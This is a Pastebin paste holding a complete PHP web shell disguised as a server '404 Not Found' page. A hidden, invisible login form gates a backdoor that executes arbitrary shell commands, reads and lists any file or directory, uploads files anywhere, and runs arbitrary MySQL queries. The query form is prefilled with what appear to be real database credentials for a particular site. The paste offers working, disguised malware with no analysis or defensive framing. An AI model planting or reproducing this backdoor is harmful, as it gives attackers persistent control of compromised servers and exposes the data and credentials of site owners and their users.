Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $username = "hacker";
- $password = "d3090ebbe9bb841fe7d262450f865bc5";
- $nonsense = "fjfhsljfshiofshioufhiufifuuhifsdfhdsdjkdfdskjksdfhskillojrjkseloefklk";
- if (isset($_COOKIE['PrivatePageLogin'])) {
- if ($_COOKIE['PrivatePageLogin'] == md5($password.$nonsense)) {
- ?>
- <?php
- ob_implicit_flush();
- if(isset($_REQUEST['f'])){
- $filename=$_REQUEST['f'];
- $file=fopen("$filename","rb");
- fpassthru($file);
- die;
- }
- if(isset($_REQUEST['d'])){
- $d=$_REQUEST['d'];
- echo "<pre>";
- if ($handle = opendir("$d")) {
- echo "<h2>listing of $d</h2>";
- while ($dir = readdir($handle)){
- if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
- else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
- echo "$dir\n";
- echo "</font></a>";
- }
- } else echo "opendir() failed";
- closedir($handle);
- die ("<hr>");
- }
- if(isset($_REQUEST['c'])){
- echo "<pre>";
- system($_REQUEST['c']);
- die;
- }
- if(isset($_REQUEST['upload'])){
- if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
- else $dir=$_REQUEST['dir'];
- $fname=$HTTP_POST_FILES['file_name']['name'];
- if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
- die('file uploading error.');
- }
- if(isset($_REQUEST['mquery'])){
- $host=$_REQUEST['host'];
- $usr=$_REQUEST['usr'];
- $passwd=$_REQUEST['passwd'];
- $db=$_REQUEST['db'];
- $mquery=$_REQUEST['mquery'];
- mysql_connect("$host", "$usr", "$passwd") or
- die("Could not connect: " . mysql_error());
- mysql_select_db("$db");
- $result = mysql_query("$mquery");
- if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
- while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
- mysql_free_result($result);
- die;
- }
- ?>
- <pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
- <form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
- upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir"> <input type="submit" name="upload" value="upload"></form>
- <hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
- <br>for example:
- http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
- or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
- <hr>execute mysql query:
- <form action="<? echo $PHP_SELF; ?>" METHOD=GET >
- host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value="ogswpffg_admin"> password: <input type="password" name="passwd" value="Fergie97">
- database: <input type="text" name="db" value="ogswpffg_themes"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
- </form>
- ?>
- <?php
- exit;
- } else {
- setcookie("PrivatePageLogin", "", time()-3600);
- echo "Bad Cookie has been removed.";
- exit;
- }
- }
- if (isset($_GET['p']) && $_GET['p'] == "login") {
- if ($_POST['user'] != $username) {
- echo "Sorry, that username does not match.";
- exit;
- } else if (md5($_POST['keypass']) != $password) {
- echo "Sorry, that password does not match.";
- exit;
- } else if ($_POST['user'] == $username && md5($_POST['keypass']) == $password) {
- setcookie('PrivatePageLogin', md5(md5($_POST['keypass']).$nonsense));
- header("Location: $_SERVER[PHP_SELF]");
- } else {
- echo "Sorry, you could not be logged in at this time.";
- }
- }
- ?>
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head><body>
- <h1>Not Found</h1>
- <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
- <p>Additionally, a 404 Not Found
- error was encountered while trying to use an ErrorDocument to handle the request.</p>
- <form action="<?php echo $_SERVER['PHP_SELF']; ?>?p=login" method="post">
- <br><br><br><br><br><br>
- <input type="text" name="user" id="user" />
- <input type="password" name="keypass" id="keypass"/><br />
- <input type="submit" id="submit" value="Login" style="display:none;"/>
- </form>
- </body></html>
- <style>
- input { margin:0;background-color:#fff;border:1px solid #fff; }
- </style>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement